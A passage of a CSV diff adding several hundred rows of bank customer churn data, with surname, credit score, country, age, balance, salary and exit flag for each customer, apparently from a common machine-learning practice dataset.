+8288,15682467,Chimezie,725,France,Female,36,1,118851.05,1,1,1,102747.02,0 +8289,15790744,Nash,850,France,Female,34,9,92899.27,2,1,0,97465.89,0 +8290,15625023,Onochie,682,France,Male,40,4,0,1,0,1,105352.55,0 +8291,15731267,Rizzo,797,France,Male,37,4,75263.7,1,1,0,85801.77,0 +8292,15742879,Boni,668,Spain,Male,38,1,147904.31,1,1,1,69370.05,0 +8293,15757015,Davies,783,Germany,Female,41,5,106640.5,1,1,0,176945.96,0 +8294,15770711,Lu,766,Germany,Female,28,4,90696.78,1,0,1,21597.2,0 +8295,15569430,Burrows,704,Spain,Female,36,2,175509.8,2,1,0,152039.67,0 +8296,15617304,Ershova,722,France,Male,40,6,0,2,1,1,111893.09,0 +8297,15704466,Udokamma,692,France,Female,34,7,0,2,1,0,195074.62,0 +8298,15664681,Aitken,584,France,Female,35,2,114321.28,2,0,0,15959.01,0 +8299,15605534,Turnbull,644,Germany,Female,51,4,95560.04,1,0,0,72628.84,1 +8300,15792473,Reilly,598,Germany,Female,50,5,88379.81,3,0,1,64157.24,1 +8301,15802625,Hardy,733,Germany,Male,48,7,85915.52,1,1,1,23860.5,0 +8302,15766017,Brookman,615,Germany,Male,58,3,72309.3,1,1,1,85687.09,1 +8303,15762172,Kerr,850,France,Female,39,2,0,2,1,0,179451.42,0 +8304,15728333,McBurney,521,France,Male,43,8,0,1,1,1,93180.09,0 +8305,15792868,Mickey,675,France,Male,69,1,0,2,1,0,157097.09,0 +8306,15605698,Harrison,746,France,Male,58,3,0,3,1,1,80344.96,1 +8307,15777060,Olszewski,770,France,Female,33,4,0,1,1,0,26080.54,1 +8308,15626243,Chijioke,618,France,Male,30,3,133844.22,1,1,1,31406.93,0 +8309,15719898,Young,556,France,Male,36,7,154872.08,2,1,1,32044.64,0 +8310,15599976,Bellasis,749,France,Female,27,9,0,2,1,0,132734.87,0 +8311,15752809,De Mestre,702,Spain,Male,43,6,116121.67,1,1,0,61602.42,0 +8312,15589698,De Luca,555,Germany,Male,42,6,107104.5,1,1,1,41304.44,1 +8313,15609977,Mundy,587,France,Male,47,6,71026.77,1,1,0,57962.41,0 +8314,15750121,Tung,639,France,Male,38,3,0,1,1,0,42862.82,0 +8315,15734177,Donahue,643,France,Male,33,4,0,2,1,1,152992.04,0 +8316,15781347,Okagbue,600,France,Female,41,1,0,2,1,1,91193.65,0 +8317,15592025,Nnaemeka,651,France,Male,53,7,0,2,1,1,130132.41,0 +8318,15670163,Verjus,666,France,Female,27,4,0,2,0,0,88751.45,0 +8319,15765402,H?,520,France,Female,39,6,145644.05,1,0,0,104118.93,0 +8320,15624343,Napolitani,650,Spain,Female,50,7,129667.77,1,0,0,42028.16,0 +8321,15602354,Ginikanwa,564,Germany,Male,33,3,109341.87,1,1,0,75632.78,0 +8322,15579183,Spaull,586,France,Male,64,1,0,2,1,1,53710.23,0 +8323,15584899,Siciliani,617,France,Female,35,5,0,2,0,1,13066.3,0 +8324,15723658,Voronina,712,Spain,Female,30,6,0,2,1,0,152417.97,0 +8325,15803965,Tang,654,France,Male,55,3,87485.67,1,1,1,3299.01,0 +8326,15682489,Crumbley,605,France,Male,27,9,0,2,1,0,198091.81,0 +8327,15813645,Hamilton,491,France,Female,36,0,53369.13,1,1,1,103934.12,0 +8328,15766787,Piazza,707,France,Female,35,9,0,2,1,1,70403.65,0 +8329,15687171,Birch,638,Spain,Male,34,5,146679.77,1,1,0,102179.86,0 +8330,15690744,Custance,683,France,Male,43,2,112499.42,2,1,0,30375.18,0 +8331,15707974,Anayochukwu,815,Spain,Female,38,2,48387,1,1,0,184796.84,0 +8332,15673084,Galkin,645,Spain,Male,38,1,68079.8,1,0,1,166264.89,0 +8333,15814772,Adams,645,Germany,Male,49,4,160133.88,1,0,1,88391.97,0 +8334,15743709,Toomey,683,France,Male,30,4,66190.33,1,1,1,115186.97,0 +8335,15610343,Marshall-Hall,705,France,Female,37,10,0,2,1,1,13935.53,1 +8336,15737414,Shen,647,France,Male,35,4,123761.68,1,1,0,83910.4,0 +8337,15788480,Pagnotto,786,Germany,Female,33,0,122325.58,1,0,0,34712.34,1 +8338,15568519,Wood,534,France,Male,41,9,0,2,1,0,13871.34,0 +8339,15792453,More,602,Spain,Female,42,1,138912.17,1,1,1,139494.75,0 +8340,15658100,Piccio,695,France,Female,42,0,0,2,0,1,140724.64,0 +8341,15695197,Tochukwu,553,Germany,Female,25,7,128524.19,2,1,0,20682.46,0 +8342,15749807,Graham,516,Spain,Female,31,3,0,2,1,0,124202.26,0 +8343,15773876,Tung,655,France,Female,34,3,0,2,1,0,159638.77,0 +8344,15591698,P'eng,849,Germany,Female,49,9,132934.89,1,1,0,171056.65,1 +8345,15712813,Nevzorova,520,Germany,Male,43,3,150805.17,3,0,1,25333.03,1 +8346,15763898,Toscani,568,Spain,Female,46,3,0,2,1,1,29372.62,0 +8347,15793324,McKenzie,695,Spain,Male,32,9,0,3,0,1,38533.79,0 +8348,15757759,Okwuoma,807,Spain,Female,28,7,165969.26,3,1,0,156122.13,1 +8349,15796230,Morley,642,Germany,Female,36,2,124495.98,3,1,1,57904.22,1 +8350,15611729,Kerr,703,Germany,Male,39,1,141559.5,1,1,1,31257.1,1 +8351,15709531,Harding,556,France,Male,38,2,114756.14,1,1,0,193214.05,0 +8352,15650751,Butler,585,France,Female,30,6,0,2,1,1,137757.69,0 +8353,15641413,Crawford,587,Germany,Female,49,7,155393.98,2,1,0,13308.2,1 +8354,15753840,Brown,524,Spain,Female,32,6,0,1,1,1,132861.9,1 +8355,15669994,Greece,556,Germany,Female,31,1,128663.81,2,1,0,125083.29,0 +8356,15695301,Matthews,504,Spain,Male,44,4,113522.64,1,1,1,12405.2,0 +8357,15792004,Heath,731,Spain,Female,26,3,0,2,1,0,37697.29,0 +8358,15603035,Vincent,651,France,Male,34,3,0,2,1,1,105599.65,0 +8359,15717286,Sal,675,Spain,Female,40,8,79035.95,1,1,0,142783.98,1 +8360,15577107,Milne,657,Spain,Female,22,6,0,3,0,1,168412.07,1 +8361,15754747,Bazile,686,Germany,Male,33,9,141918.09,2,0,1,184036.47,0 +8362,15705676,Wardle,690,France,Female,35,9,107944.33,2,0,0,48478.47,0 +8363,15751912,Lilly,567,France,Male,36,7,0,2,0,1,3896.08,0 +8364,15677336,Aitken,557,Germany,Male,57,1,120043.13,1,1,0,132370.75,1 +8365,15684395,Enderby,446,Spain,Female,45,10,125191.69,1,1,1,128260.86,1 +8366,15659949,Chiu,850,France,Male,31,1,96399.31,2,1,0,106534.15,0 +8367,15812422,Ugorji,637,France,Male,41,2,0,2,0,1,102515.42,0 +8368,15806941,Sharpe,499,France,Male,60,7,76961.6,2,1,1,83643.87,0 +8369,15637690,Houghton,622,Germany,Female,34,7,98675.74,1,1,0,138906.85,1 +8370,15632882,Konovalova,684,Germany,Male,37,1,126817.13,2,1,1,29995.83,1 +8371,15807107,Patel,612,France,Male,32,3,121394.42,1,1,0,164081.42,0 +8372,15661034,Ngozichukwuka,813,Germany,Female,29,5,106059.4,1,0,0,187976.88,1 +8373,15811958,Medland,850,Germany,Male,44,2,112755.34,2,0,0,158171.36,0 +8374,15785167,Padovano,795,Spain,Male,29,4,0,2,0,0,155711.64,0 +8375,15646720,Tsui,628,Spain,Female,55,7,0,3,1,0,85890.75,1 +8376,15658614,H?,565,Germany,Female,38,7,145400.69,2,1,1,83844.79,0 +8377,15704657,Denman,601,France,Male,39,3,72647.64,1,1,0,41777.9,1 +8378,15567147,Ratten,802,Spain,Male,40,4,0,2,1,1,81908.09,0 +8379,15701319,Baxter,614,Germany,Female,37,6,96340.81,2,1,1,139377.24,1 +8380,15745266,Norman,434,Spain,Male,55,6,0,1,0,1,73562.05,1 +8381,15650437,Shen,522,Germany,Male,32,8,124450.36,2,1,1,165786.1,0 +8382,15764314,Reilly,550,Germany,Male,36,2,113877.23,2,1,0,174921.91,0 +8383,15612594,Ifeanacho,599,Spain,Male,25,3,0,2,1,1,120790.02,0 +8384,15593501,Graham,493,France,Female,36,5,148667.81,2,1,0,56092.51,0 +8385,15804150,Lysaght,755,France,Male,34,3,0,2,1,1,158816.03,0 +8386,15649297,T'ang,605,France,Female,62,4,111065.93,2,0,1,125660.99,0 +8387,15641110,Abron,708,France,Male,41,0,0,1,1,0,128400.62,0 +8388,15660608,Chimaraoke,699,France,Male,44,8,158697.61,1,1,0,107181.22,0 +8389,15806570,Y?an,763,France,Female,53,4,0,1,1,0,77203.72,1 +8390,15715345,Sergeyeva,743,Spain,Male,25,6,0,2,1,0,129740.11,0 +8391,15755521,Ma,660,France,Female,48,0,90044.32,2,0,1,187604.97,1 +8392,15579074,Obiajulu,619,Germany,Male,38,10,84651.79,1,1,1,184754.26,0 +8393,15641158,Belcher,739,Germany,Male,32,3,102128.27,1,1,0,63981.37,1 +8394,15752507,K?,769,Germany,Male,60,9,148846.39,1,1,0,192831.67,1 +8395,15597983,Brown,692,France,Male,69,10,154953.94,1,1,1,70849.47,0 +8396,15586069,Abernathy,560,France,Female,30,0,108883.29,1,1,0,27914.95,0 +8397,15655082,Pape,607,France,Female,48,4,112070.86,3,1,0,173568.3,1 +8398,15720155,Tao,630,Germany,Male,29,6,131354.39,1,0,1,9324.31,1 +8399,15582116,Ma,767,Germany,Female,45,7,132746.2,2,1,0,26628.88,1 +8400,15749365,Earle,543,France,Female,34,8,0,2,0,1,145601.8,0 +8401,15632069,Kazantsev,776,France,Male,39,8,125211.55,2,1,0,144496.07,0 +8402,15663134,Uspenskaya,535,Spain,Male,58,1,0,2,1,1,11779.98,1 +8403,15766683,Coombes,549,Germany,Male,36,6,139422.37,1,0,0,83983.39,1 +8404,15707219,Hopman,844,France,Female,28,4,0,2,0,1,123318.37,0 +8405,15709232,McKay,586,Germany,Female,47,5,157099.47,2,1,1,65481.86,0 +8406,15801351,Milanesi,583,France,Male,40,3,0,2,1,0,47728,0 +8407,15578747,Chineze,701,Spain,Male,26,5,83600.24,1,0,1,59195.05,0 +8408,15675626,Dawson,726,France,Male,28,2,0,1,0,0,98060.51,0 +8409,15583736,Shih,829,Germany,Male,36,4,81795.74,2,1,0,90106.94,0 +8410,15590011,Hughes,749,Spain,Male,38,9,129378.32,1,1,1,13549.34,0 +8411,15609913,Clark,743,France,Female,46,9,0,1,1,0,113436.08,0 +8412,15719479,Chukwuhaenye,619,Spain,Female,56,7,0,2,1,1,42442.21,0 +8413,15575147,Wall,699,France,Male,22,9,99339,1,1,0,68297.61,1 +8414,15597309,Howell,749,Spain,Male,36,7,0,2,0,0,80134.65,0 +8415,15648367,Lo,600,Germany,Female,29,6,74430.1,2,1,1,96051.1,0 +8416,15758031,Lazarev,760,Spain,Male,38,3,91241.85,1,0,1,80682.35,0 +8417,15751771,Lowe,528,Germany,Male,32,2,99092.45,1,0,1,111149.98,0 +8418,15689288,Folliero,630,France,Female,26,5,0,2,1,0,182612.38,0 +8419,15731026,Han,683,Germany,Female,39,2,100062.16,2,1,0,109201.43,0 +8420,15775809,Holloway,677,Germany,Female,26,6,98723.67,1,0,1,151146.67,0 +8421,15743076,Pai,669,Spain,Male,29,9,0,1,1,1,93901.61,0 +8422,15658258,Trejo,693,France,Male,43,6,128760.32,1,1,0,36342.79,0 +8423,15756321,Johnston,612,Spain,Female,52,5,144772.69,1,0,0,98302.57,1 +8424,15706799,Macknight,719,Spain,Male,44,4,0,1,0,0,84972.9,1 +8425,15775703,Lo,702,France,Male,26,2,71281.29,1,1,1,108747.12,1 +8426,15642636,Glossop,755,France,Male,29,9,117035.89,1,1,1,21862.19,0 +8427,15704651,Bishop,514,France,Male,26,1,0,2,0,0,121551.93,0 +8428,15806771,Yefremova,753,France,Female,40,0,3768.69,2,1,0,177065.24,1 +8429,15566735,Obialo,548,Germany,Female,36,2,108913.84,2,1,1,140460.01,0 +8430,15681671,Nkemjika,850,Germany,Male,28,2,101100.22,2,1,1,35337.31,0 +8431,15775949,Trevisani,612,France,Female,38,7,110615.47,1,1,1,193502.93,0 +8432,15586752,Parkes,628,Germany,Male,33,8,152143.89,1,1,1,32174.03,0 +8433,15582519,Seleznyov,479,France,Male,47,6,121797.09,1,0,1,5811.9,1 +8434,15658233,Naylor,724,France,Female,41,5,109798.25,1,0,1,149593.61,0 +8435,15755330,Forbes,512,Germany,Male,41,7,122403.24,1,0,1,37439.9,1 +8436,15605072,Douglas,638,France,Female,43,3,145860.98,1,1,1,142763.51,1 +8437,15617538,Nwankwo,834,Spain,Male,40,7,0,2,0,0,45038.74,0 +8438,15591428,Myers,781,France,Male,29,9,0,2,0,0,172097.4,0 +8439,15692142,Rogova,707,Germany,Female,48,7,105086.74,1,1,1,180344.69,1 +8440,15692931,Hsing,670,France,Male,22,2,114991.45,1,1,1,37392.56,0 +8441,15781127,Giordano,663,Spain,Female,33,8,96769.04,1,1,1,36864.05,0 +8442,15677136,Okwukwe,624,France,Female,23,5,0,2,0,0,132418.59,0 +8443,15677828,Chalmers,598,France,Female,34,4,0,2,0,0,60894.26,0 +8444,15567897,Chiazagomekpere,619,Germany,Male,23,5,132725.1,1,1,1,143913.33,0 +8445,15793641,Evseyev,792,France,Female,70,3,0,2,1,1,172240.27,0 +8446,15678333,Parry-Okeden,683,France,Female,26,7,0,2,1,0,86619.77,0 +8447,15630511,Picot,691,France,Female,33,6,0,2,1,0,164074.89,0 +8448,15792627,Reid,765,Spain,Female,33,5,84557.82,1,1,1,69039.43,0 +8449,15717191,Ferri,508,France,Male,49,1,93817.41,2,1,1,132468.76,1 +8450,15625716,Genovesi,637,France,Female,33,9,113913.53,1,0,1,65316.5,0 +8451,15710053,Neumayer,667,Germany,Female,44,5,140406.68,2,0,1,57164.19,0 +8452,15580043,Murray,575,Spain,Female,22,8,105229.34,1,1,1,34397.08,0 +8453,15601410,Tien,744,Spain,Female,46,1,0,3,1,1,177431.59,1 +8454,15684669,Parkes,567,France,Female,41,9,137891.35,1,1,0,142009.46,1 +8455,15619083,Yip,502,France,Female,35,6,0,2,1,1,80618.47,0 +8456,15692207,Ingle,609,France,Female,53,6,0,2,1,1,124218.27,0 +8457,15730705,Chidubem,715,France,Male,37,9,165252.52,1,1,0,85286.3,0 +8458,15749688,Lu,541,France,Male,32,8,0,2,0,0,40889.14,0 +8459,15728542,Vorobyova,850,France,Female,71,4,0,2,1,1,107236.87,0 +8460,15760063,Chiedozie,595,Spain,Male,23,7,0,2,1,1,168085.97,0 +8461,15658982,Napolitani,650,Germany,Female,28,5,122034.4,3,0,1,146663.43,1 +8462,15758769,Coffey,625,France,Female,44,7,0,1,1,0,4791.8,0 +8463,15778481,Chigbogu,817,France,Male,59,1,118962.58,1,1,1,120819.58,0 +8464,15661162,Akabueze,526,Spain,Male,49,2,0,1,1,0,114539.67,1 +8465,15568164,Istomin,850,France,Female,34,4,71379.53,2,1,1,154000.99,0 +8466,15601569,Ndubueze,598,France,Female,40,2,171178.25,1,1,0,137980.58,1 +8467,15772383,Toscani,613,France,Male,36,9,131307.11,1,0,0,83343.73,0 +8468,15667456,Ross,709,Spain,Male,62,3,0,2,1,1,82195.15,0 +8469,15672983,Fernando,678,Spain,Female,27,5,87099.85,2,1,0,149550.95,0 +8470,15799534,McClaran,720,France,Male,71,5,183135.39,2,1,1,197688.5,0 +8471,15582847,Yermakova,662,France,Male,26,0,0,2,0,1,72929.96,0 +8472,15612478,Somadina,525,France,Male,51,10,0,3,1,0,171045.35,1 +8473,15709621,Wan,662,France,Male,31,3,0,2,0,1,27731.05,0 +8474,15802009,Mazzi,770,France,Female,33,6,0,2,1,1,126131.9,0 +8475,15698816,Tuan,721,Spain,Female,33,4,72535.45,1,1,1,103931.49,0 +8476,15574830,Townsley,633,Germany,Male,58,2,128137.42,2,1,0,147635.33,1 +8477,15603082,Yashina,701,France,Male,51,9,0,2,0,0,61961.57,0 +8478,15685947,Henderson,556,Germany,Male,42,0,115915.53,2,0,1,125435.47,1 +8479,15643048,Mueller,639,France,Male,66,0,0,2,0,1,42240.54,0 +8480,15807568,Wright,632,France,Male,50,2,0,2,0,0,57942.88,0 +8481,15597591,Lung,456,France,Male,29,5,107000.49,1,1,1,153419.62,0 +8482,15747558,Bryant,729,Spain,Female,38,10,0,2,1,0,189727.12,0 +8483,15756655,Madukaife,632,France,Female,34,2,0,2,0,0,165385.55,0 +8484,15589949,Maclean,433,Spain,Male,34,9,152806.74,1,1,0,19687.99,0 +8485,15601012,Abdullah,802,France,Female,60,3,92887.06,1,1,0,39473.63,1 +8486,15724269,Yao,670,France,Male,25,7,0,2,1,1,144723.38,0 +8487,15567506,Cheatham,738,Germany,Female,40,6,114940.67,2,1,1,194895.57,1 +8488,15791877,Gallagher,706,Germany,Male,34,0,140641.26,2,1,1,77271.91,0 +8489,15794360,Hao,592,Germany,Female,70,5,71816.74,2,1,0,105096.82,1 +8490,15686538,Nixon,522,France,Female,41,7,0,2,0,1,176780.39,0 +8491,15585985,Wang,746,France,Male,48,5,165282.42,1,1,0,153786.46,1 +8492,15699257,Kerr,651,Spain,Male,42,2,143145.87,2,1,0,43612.06,0 +8493,15804104,Romani,494,France,Male,28,9,114731.76,2,0,1,79479.74,0 +8494,15727619,Lock,753,Germany,Female,46,9,113909.69,3,1,0,92320.37,1 +8495,15740237,Millar,671,Germany,Male,36,2,116695.27,1,0,0,193201.86,0 +8496,15801436,K'ung,696,France,Male,42,4,0,1,0,0,126353.13,1 +8497,15705735,Onyekachi,577,Spain,Male,43,3,0,2,1,1,135008.92,0 +8498,15649359,Somayina,587,France,Male,36,1,0,2,0,1,17135.6,0 +8499,15624892,Dennis,712,Germany,Male,37,7,93978.96,2,1,0,60651.77,0 +8500,15784918,Brown,498,Germany,Male,35,2,121968.11,2,0,1,188343.05,0 +8501,15584785,Ogochukwu,660,France,Male,37,2,97324.91,1,1,0,23291.83,0 +8502,15797197,Macleod,678,Spain,Male,29,6,0,2,1,0,64443.75,0 +8503,15574858,Page,530,France,Male,37,8,0,2,1,1,287.99,0 +8504,15794101,Barese,559,France,Female,48,2,0,2,0,1,137961.41,0 +8505,15743245,Agafonova,624,France,Male,42,3,145155.37,1,1,0,72169.95,1 +8506,15791535,Caraway,592,France,Male,28,5,137222.77,1,0,0,39608.58,0 +8507,15605215,Stevenson,767,France,Male,48,9,0,2,0,1,175458.21,0 +8508,15771749,Duncan,653,Germany,Female,38,5,114268.22,2,1,1,89524.83,0 +8509,15616833,Wang,678,Spain,Male,27,2,0,2,1,1,13221.25,0 +8510,15750728,Kaur,586,Spain,Female,42,2,0,1,1,0,102889.34,0 +8511,15769353,Jenkins,550,France,Female,40,8,150490.32,1,0,0,166468.21,1 +8512,15770091,Edwards,643,Germany,Male,28,9,160858.13,2,1,0,27149.27,0 +8513,15716420,Kelly,612,Spain,Male,39,5,170288.38,1,1,1,59601.15,0 +8514,15740602,Boyle,674,Germany,Female,27,4,111568.01,1,0,1,22026.18,0 +8515,15796071,Loane,657,Spain,Male,29,7,83889.03,1,1,0,153059.62,0 +8516,15811389,Padovano,724,Germany,Female,35,0,171982.95,2,0,1,167313.07,0 +8517,15783875,Li Fonti,500,France,Female,34,4,0,2,1,0,12833.96,0 +8518,15671800,Robinson,688,France,Male,20,8,137624.4,2,1,1,197582.79,0 +8519,15677288,Geach,599,France,Male,50,3,121159.65,1,0,0,4033.39,1 +8520,15633525,Payne,631,France,Male,29,7,0,2,0,1,125877.22,0 +8521,15634606,Chinonyelum,634,Spain,Male,52,1,0,2,1,1,176913.42,0 +8522,15579207,Watkins,545,France,Male,37,3,91184.01,1,1,0,105476.65,0 +8523,15619892,Page,644,Spain,Male,18,8,0,2,1,0,59172.42,0 +8524,15567778,Genovese,690,Germany,Female,54,1,144027.8,1,1,1,108731.02,1 +8525,15711750,Watson,711,France,Female,34,6,0,2,1,1,175310.38,0 +8526,15751084,Mancini,712,France,Female,29,8,140170.61,1,1,1,38170.04,0 +8527,15768945,Chibueze,627,France,Male,27,1,62092.9,1,1,1,105887.04,0 +8528,15586931,Hunter,694,Spain,Male,39,3,0,1,1,1,95625.03,0 +8529,15636353,Buchi,534,Spain,Male,35,4,0,2,0,0,9541.15,0 +8530,15623858,Charteris,603,France,Male,45,9,0,1,0,0,148516.79,0 +8531,15703354,Aksenov,808,France,Female,33,2,103516.87,1,1,0,113907.8,0 +8532,15663987,Wright,723,Spain,Male,30,1,0,3,1,0,164647.72,1 +8533,15780805,Lu,585,France,Female,35,2,0,2,1,0,98621.04,1 +8534,15768566,K?,706,France,Male,34,8,0,2,1,1,37479.97,0 +8535,15643229,Hou,671,France,Female,31,6,0,2,1,1,15846.42,0 +8536,15754940,Descoteaux,597,Spain,Male,43,2,85162.26,1,0,1,5104.08,1 +8537,15676576,Stephenson,646,France,Female,43,8,143061.88,1,1,0,61937.6,0 +8538,15800068,Cooper,801,Spain,Female,46,6,0,2,1,1,170008.74,0 +8539,15648030,Crump,731,Spain,Female,33,5,137388.01,2,1,0,165000.68,0 +8540,15668594,Diggs,620,Germany,Female,25,1,137712.01,1,1,1,76197.05,0 +8541,15728709,Shih,484,Germany,Male,40,7,106901.42,2,0,0,118045.98,0 +8542,15724181,Hudson,647,Spain,Male,47,5,105603.21,2,1,1,157360.9,0 +8543,15647546,Carvosso,688,Germany,Female,40,8,150679.71,2,0,1,196226.38,0 +8544,15702601,Wyatt,680,Germany,Male,30,4,108300.27,2,0,1,44384.57,1 +8545,15567725,Kodilinyechukwu,689,France,Female,46,7,52016.08,2,1,1,72993.65,0 +8546,15674179,Vorobyova,513,Germany,Male,34,7,60515.13,1,0,0,124571.09,0 +8547,15686957,Piccio,553,Germany,Male,35,2,158584.28,2,1,0,43640.16,0 +8548,15607690,Hsing,689,Germany,Male,47,2,118812.5,2,0,0,31121.42,0 +8549,15806546,Lucas,517,Spain,Male,46,4,0,1,1,0,22372.78,0 +8550,15632850,T'ang,731,France,Male,37,8,0,2,1,1,170338.35,0 +8551,15709016,North,687,Germany,Female,47,1,91219.29,1,0,0,158845.49,1 +8552,15638068,Thompson,507,Spain,Male,32,7,0,2,1,0,67926.18,0 +8553,15749345,Simpson,468,France,Female,22,1,76318.64,1,1,1,194783.12,0 +8554,15791321,Nwora,682,Spain,Female,58,4,0,1,1,0,176036.01,0 +8555,15699095,Chandler,603,France,Female,24,3,0,1,1,1,198826.03,1 +8556,15638329,Uspensky,522,Germany,Male,25,1,111432.13,1,1,1,168683.57,0 +8557,15575445,Ferguson,629,Spain,Male,41,10,150148.51,1,0,0,6936.27,0 +8558,15752622,Kerr,729,France,Female,32,7,38550.06,1,0,1,179230.23,0 +8559,15774507,Furneaux,574,France,Female,39,5,119013.86,1,1,0,103421.91,0 +8560,15570857,Kambinachi,677,Germany,Female,39,0,111213.64,2,1,1,147578.26,0 +8561,15599386,Black,627,Germany,Male,28,5,71097.23,1,1,1,130504.49,0 +8562,15744913,Chizoba,788,Spain,Male,36,10,109632.85,1,1,1,16149.13,0 +8563,15647292,Peng,697,France,Male,63,7,148368.02,1,0,0,118862.08,1 +8564,15728838,Leach,578,France,Male,45,1,148600.91,1,1,0,143397.14,1 +8565,15584704,Chiazagomekpele,519,France,Male,48,10,71083.98,1,1,0,137959,0 +8566,15749068,Nickson,632,France,Female,40,9,139625.34,1,1,0,93702.96,1 +8567,15622985,Lin,679,France,Female,39,4,0,1,0,0,172939.3,1 +8568,15587676,Alexeieva,699,France,Male,30,9,0,1,1,1,108162.13,0 +8569,15779496,Sykes,615,France,Male,64,0,81564.1,2,0,1,35896.09,0 +8570,15733460,Martin,622,Spain,Male,36,9,0,2,1,1,104852.6,0 +8571,15711457,Herz,755,France,Female,28,7,124540.28,1,0,1,188850.89,0 +8572,15795290,Nikitina,767,France,Female,42,2,133616.39,1,1,0,28615.8,0 +8573,15611223,Ko,752,Germany,Female,38,10,101648.5,2,1,0,172001.44,0 +8574,15794159,Highett,633,France,Female,26,8,124281.84,1,1,1,60116.57,0 +8575,15780677,Jackson,717,France,Female,59,4,0,2,1,1,170528.63,0 +8576,15690175,Ball,585,Spain,Male,45,0,0,2,0,0,189683.7,0 +8577,15722599,Nelson,751,France,Female,37,9,183613.66,2,0,0,49734.94,0 +8578,15569976,Woronoff,754,Germany,Male,65,1,136186.44,1,1,1,121529.59,1 +8579,15707011,Morrison,495,France,Male,47,10,137682.68,1,1,0,71071.47,0 +8580,15702277,Smith,650,France,Male,34,4,106005.54,1,0,1,142995.32,0 +8581,15801915,Rendall,529,France,Female,31,6,152310.55,1,1,0,13054.25,0 +8582,15580213,McIntyre,585,France,Female,43,2,0,2,1,0,89402.54,0 +8583,15637947,Wei,668,Spain,Male,32,1,134446.04,1,0,1,111241.37,0 +8584,15715888,Allardyce,591,France,Female,38,2,142289.28,1,0,1,119638.85,0 +8585,15732967,Cremonesi,731,France,Male,19,6,0,2,1,1,151581.79,0 +8586,15737047,Weatherford,754,France,Female,45,6,0,1,1,0,73881.68,1 +8587,15694039,Jen,650,Germany,Female,46,9,149003.76,2,1,0,176902.83,0 +8588,15649457,Macleod,588,Germany,Male,41,2,131341.46,2,0,1,7034.94,0 +8589,15742809,Mironova,712,Spain,Female,29,7,77919.78,1,1,0,122547.58,0 +8590,15637829,Sharpe,691,France,Female,34,7,0,2,0,1,161559.12,0 +8591,15633194,Osborne,771,France,Female,41,10,108309,4,1,1,137510.41,1 +8592,15611635,Chu,678,Spain,Female,39,6,0,1,0,1,185366.56,0 +8593,15638774,Chong,719,Spain,Female,40,9,0,2,1,0,182224.14,0 +8594,15722037,Alvarez,610,Germany,Male,36,7,115462.02,1,0,1,42581.04,0 +8595,15672930,Palerma,722,Spain,Male,37,9,0,2,1,0,31921.95,0 +8596,15668774,Chiemenam,758,Germany,Female,23,5,122739.1,1,1,0,102460.84,1 +8597,15780966,Pritchard,709,France,Female,32,2,0,2,0,0,109681.29,0 +8598,15659694,Wallis,634,Germany,Female,53,3,113781.5,2,1,1,106345.05,1 +8599,15624424,Palerma,678,Spain,Female,49,1,0,2,1,1,102472.9,0 +8600,15708713,Hill,633,France,Male,35,3,0,2,1,1,36249.76,0 +8601,15755405,Hudson,710,France,Male,43,9,128284.45,1,1,0,32996.89,1 +8602,15647570,Chung,640,Germany,Male,45,8,120591.19,1,0,0,195123.94,0 +8603,15684348,Zhdanova,656,France,Male,63,8,0,2,0,1,57014.43,0 +8604,15702541,Fraser,551,France,Female,59,2,166968.28,1,1,0,159483.76,1 +8605,15646942,Meng,786,Spain,Female,39,7,0,2,0,0,100929.59,0 +8606,15748920,Cherkasova,561,France,Female,49,8,0,2,1,1,12513.07,0 +8607,15694581,Rawlings,807,Spain,Male,42,5,0,2,1,1,74900.9,0 +8608,15643215,Jen,602,Germany,Male,38,2,71667.97,2,0,0,137111.89,0 +8609,15649060,Chien,727,Germany,Female,31,3,82729.47,2,1,0,60212.51,0 +8610,15774258,Gorbunov,678,France,Male,40,1,0,2,1,1,187343.4,0 +8611,15731553,Lucas,730,France,Male,23,8,0,2,1,0,183284.53,0 +8612,15617029,Young,596,Spain,Female,30,1,0,2,1,0,8125.39,0 +8613,15780716,Colombo,686,Germany,Male,39,3,129626.19,2,1,1,103220.56,0 +8614,15577018,Tsao,684,Germany,Female,26,2,114035.39,1,0,0,96885.19,0 +8615,15809515,Lewis,797,Germany,Male,32,1,151922.94,1,1,0,8877.06,0 +8616,15789924,Hussain,658,France,Female,39,4,0,1,1,1,147530.06,0 +8617,15725076,Anderson,653,Spain,Female,27,6,107751.68,2,1,1,33389.42,0 +8618,15672481,Ulyanov,641,France,Male,37,6,0,2,1,0,45309.24,0 +8619,15574115,Shaw,656,Spain,Female,41,6,101179.23,2,1,1,35230.61,0 +8620,15661830,Lucciano,750,Spain,Female,36,6,0,2,1,1,59816.41,0 +8621,15665879,Gordon,768,France,Female,40,8,0,2,0,1,69080.46,0 +8622,15673820,Woodward,568,France,Male,33,7,0,2,1,0,143450.61,0 +8623,15747772,Cunningham,706,Germany,Male,36,9,58571.18,2,1,0,40774.01,0 +8624,15666197,Boni,430,Germany,Female,38,8,153058.64,1,1,0,99377.27,0 +8625,15773639,Truscott,745,Germany,Male,35,4,98270.34,1,1,0,133617.43,0 +8626,15581893,Ginikanwa,747,France,Male,43,1,130788.71,1,0,1,101495,1 +8627,15672447,Bailey,657,Germany,Male,40,7,99165.84,1,0,1,119333.95,1 +8628,15777830,Hutchinson,639,France,Female,42,4,0,2,0,0,167682.37,0 +8629,15713890,Maclean,704,France,Male,44,3,0,2,0,1,152884.85,0 +8630,15577598,Chiang,651,Spain,Male,23,4,115636.05,2,1,0,70400.86,0 +8631,15786042,Willmore,706,Germany,Female,44,2,185932.18,2,1,0,65413.41,0 +8632,15753462,Godson,632,Germany,Male,30,2,72549,2,0,1,182728.8,0 +8633,15759690,Smith,751,France,Male,42,4,0,2,1,1,81442.6,0 +8634,15801414,Bitter,767,France,Female,35,2,0,2,0,0,144251.38,0 +8635,15656141,Ts'ao,741,France,Male,39,5,0,1,0,1,40207.06,0 +8636,15608701,Chialuka,651,Germany,Male,29,3,121890.06,1,1,0,54530.51,1 +8637,15582892,Scott,601,France,Male,46,2,99786.07,1,1,1,32683.88,1 +8638,15632967,Feng,520,France,Male,34,3,0,2,1,1,104703.96,0 +8639,15587573,Castiglione,626,Germany,Male,27,4,115084.53,2,0,1,26907.43,0 +8640,15654891,He,811,France,Male,30,6,0,2,1,1,180591.32,0 +8641,15611365,Fanucci,730,France,Female,32,9,127661.69,1,0,0,60905.51,0 +8642,15749103,Ginikanwa,604,Germany,Female,47,4,118907.6,1,0,1,47777.15,1 +8643,15810203,Manning,499,Germany,Female,44,6,77627.33,2,1,0,108222.68,0 +8644,15813660,Forlonge,754,Spain,Male,40,2,160625.17,1,0,1,3554.63,0 